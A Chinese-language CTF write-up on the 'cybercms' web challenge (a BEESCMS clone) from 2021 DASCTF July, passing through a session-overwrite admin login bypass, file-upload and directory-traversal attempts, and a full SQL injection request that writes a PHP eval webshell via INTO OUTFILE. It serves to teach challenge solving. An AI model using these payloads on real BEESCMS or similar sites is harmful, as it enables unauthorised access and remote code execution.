【CTF大赛】2021 DASCTF July cybercms 一探再探
引言
在前不久結束的 2021 DASCTF July X CBCTF 4th 比賽中,有一道名為 cybercms 的 web 題目。
預期解是從后臺登錄處進行 SQL 注入寫入一句話木馬,然而咱在做題的時候嘗試了另一種思路,用的是后臺登錄繞過 & 木馬上傳的打法。
由于比賽的時候半天打不通就十分難受,賽后還是想不明白就來稍微深入探究了一下,經過曲折最后終于成功打通了。
這篇就來記錄一下做這道題時候的心路歷程吧……
題目初探
cybercms
賽博CMS,只為安全而生
Hint: 信息搜集是一個web手必備的技能
很好,是 BEESCMS,head 里的 description 沒改,正文里其實也沒改完。
從官網找到了 官方 V4.0 源碼下載
(不過貌似沒啥用 后來發現還是有用的
后臺登錄繞過 & 上傳
參考 【代碼審計】 beescms 變量覆蓋漏洞導致后臺登陸繞過分析,$_SESSION 可以被任意覆蓋。
POST /_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
然后直接可以訪問后臺了。
http://xxxxxxxxxxx/admin/admin.php
參考 代碼審計就該這么來3 beescms getshell
按照文中的思路,上傳一個后綴為 .php 的一句話木馬,并修改 Content-Type: image/png 來通過后端對文件類型的校驗。
【網安資料】
然而發現他文件目錄沒權限上傳啊,隨便上傳一個正常的圖片也是如此……
源碼泄露
麻了,做到一半才發現有 源碼泄露,/www.zip…
diff 大法好啊,看來官方源碼還是有用的 2333。
多了個 hackable/ 目錄,看起來只有這個目錄可寫的樣子。(雖然最后發現也不行
登錄還過濾了一下 SQL 注入。
注意的是還把 /* * 的過濾給去掉了。
上傳點源碼審計
再來看上傳部分的源碼。
審了一波源碼,發現其實可以 構造目錄穿越。
$up_file_name2 由 $pic_alt 而來,這個是可控的,只需要構造個目錄穿越到 hackable 目錄下就完事了。
【網安資料】
為了進到這里,上傳的時候記得再把 Content-Type: image/png 改好, is_alt 設為 1。
然而還是沒打通,報錯和上面的類似,也是 PHP 執行的時候文件目錄沒權限,只不過可以注意到文件名是 .php 了。
(咱也不知道為啥他 $pic_alt 沒傳進來,留空的話也不是隨機數,一臉懵逼
另一個上傳點審計
于是么得辦法,再挖了另一個文件上傳的點,考慮通過 修改已上傳圖片的接口 來進行上傳。
相應源碼如下。
這里的 $pic_path 和 $pic_name 都是可控的,任意改一個就完事了。當然這是 PHP/5.6.40,%00 截斷不可行 2333.
然而還是打不通……
絕絕子,挖了兩條上傳的路,試著繞到 hackable 目錄也打不通……
看來還是文件目錄的限制吧。
心態炸了啊啊啊啊啊。
SQL 注入寫馬(預期解)
害,賽后看了看大佬的 wp,么得辦法,還是得走 SQL 注入寫入文件唄。(佛了
再來看上面 diff 出來的關于 SQL 注入的語句。
過濾了空格,倒是把 /* 過濾去掉了,另外把一些關鍵詞過濾為空了,雙寫繞過就完事了。
根據代碼里登錄的 SQL 語句【網安資料】
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");構造 SQL
# select xxx into outfile xxx # <?php eval($_REQUEST['m']);?>admin'/**/uni union on/**/seselectlect/**/null,null,null,null,0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#(咱也不知道為啥 0x 沒被過濾為空,雙寫 0x 發現并沒有被刪除反而 SQL 執行報錯了
Payload:
POST /admin/login.php?action=ck_login HTTP/1.1user=admin%27%2F%2A%2A%2Funi%20union%20on%2F%2A%2A%2Fseselectlect%2F%2A%2A%2Fnull%2Cnull%2Cnull%2Cnull%2C0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e%2F%2A%2A%2Fin%20in%20to%2F%2A%2A%2Foutoutfilefile%2F%2A%2A%2F%27%2Fvar%2Fwww%2Fhtml%2Fupload%2Fmiao%2Ephp%27%23&password=miao&code=&submit=true&submit.x=43&submit.y=24當然也可以用 char 函數寫入木馬。
admin'/**/uni union on/**/seselectlect/**/null,null,null,null,char(60,63,112,104,112,32,101,118,97,108,40,36,95,82,69,81,85,69,83,84,91,39,109,39,93,41,59,63,62)/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#進去發現果然 MySQL 就是 root 用戶起來的,于是就能寫入文件。
而 PHP 運行在 www-data 用戶,/var/www/html 目錄是給 www-data 用戶了,但子目錄沒遞歸變更屬主也沒給寫入權限就離譜。
$ ps -ef PID USER TIME COMMAND1 root 0:07 /bin/sh /usr/local/bin/docker-php-entrypoint10 root 0:21 /usr/bin/mysqld --user=root --skip-name-resolve --skip-networking=054 root 0:02 php-fpm: master process (/usr/local/etc/php-fpm.conf)60 root 0:00 nginx: master process nginx61 nginx 0:00 nginx: worker process62 www-data 0:00 php-fpm: pool www63 www-data 0:01 php-fpm: pool www 19798 root 0:00 sleep 5s 19799 www-data 0:00 ps -ef也有可能預期解就只有這條路可走吧。
氣死了,下次直接 pyflag 算了(bushi
上傳點再探
噢對了,尋思著咱挖了兩個上傳點都整不通,實在過意不去啊。
既然前面發現了 www-data 用戶只有 /var/html/www 這個路徑有權限寫入,子目錄么有,那可以 傳到這個網站的根目錄 啊!
【網安資料】
這里用的是修改圖片的接口,也就是上面說的 第二處上傳點。
上傳以后抓包修改幾個地方,看圖。
也就是讓 move_uploaded_file 結果是移動到網站根目錄下。
pic_path 留空也行。【網安資料】
吶,傳上來了,能用了。
喵喵落淚(【網安資料】
又想了想,尋思著是不是 iconv 的鍋啊,上傳經過這個函數時候東西都沒了……
// 第一個上傳點 // includes/fun.php#588-590 $up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt; $up_file_name2=iconv('UTF-8','GBK',$up_file_name); $file_name=$path.$up_file_name2.'.'.$pic_name['extension'];// 第二個上傳點 // admin/admin_pic.php#64-65 $pic_name=$_POST['pic_name'];//圖片名稱 $pic_name = iconv('UTF-8','GBK',$pic_name);phpinfo 看一眼。
好家伙,看起來是因為沒 libiconv 或者 glibc,所以這里面東西就變成空了……沒事了。
小結
其實是一次因為想不通而開始的深入探究,唉,這題做起來不容易啊……
想學網絡安全的朋友可以關注私信我哦!!!
總結
以上是生活随笔為你收集整理的【CTF大赛】2021 DASCTF July cybercms 一探再探的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全漏洞】朝鲜InkySquid AP
- 下一篇: 【安全漏洞】ProxyShell利用分析